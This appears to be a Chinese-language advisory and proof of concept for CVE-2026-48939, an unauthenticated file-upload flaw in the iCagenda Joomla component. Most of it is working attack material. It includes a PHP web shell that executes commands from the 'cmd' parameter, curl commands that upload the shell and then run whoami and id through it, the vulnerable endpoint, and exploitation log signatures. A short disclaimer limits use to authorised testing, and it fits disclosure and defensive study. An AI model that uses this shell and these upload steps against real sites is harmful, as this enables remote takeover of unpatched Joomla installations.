
iCagenda Unauthenticated File Upload to RCE
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-48939 |
| CVSS 4.0 评分 | 10.0 严重 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284:访问控制不当 |
| 受影响版本 | iCagenda 3.2.1 - 3.9.14 及 4.0.0 - 4.0.7 |
| 修复版本 | iCagenda 4.0.8 及 3.9.15 |
| 发布时间 | 2026年6月20日 |
iCagenda 是 Joomla 的一个热门活动与日历组件,其中存在一个未认证文件上传漏洞,允许远程攻击者在 Joomla 6 站点上上传并执行任意 PHP 代码。
该漏洞存在于前端活动提交表单的文件附件功能中:
缺少访问控制:提交端点(index.php?option=com_icagenda&task=registration.submit)未强制实施身份验证,从而绕过了“仅限注册用户”的访问设置。
无文件验证:上传的文件以其原始扩展名保存,且不进行:
直接写入文件:文件被直接写入 Web 根目录下的 /images/icagenda/frontend/attachments/[filename]。
PHP 执行:在 Joomla 6 上,上传的 .php 文件可被执行,从而导致远程代码执行(RCE)。
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
识别易受攻击的端点:
https://target.com/index.php?option=com_icagenda&task=submit
上传 PHP Web Shell:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
执行 Shell:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
基于真实世界的利用日志,攻击特征如下:
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagenda 文件夹本 PoC 仅用于教育和授权的安全测试目的。未经授权访问计算机系统属于违法行为。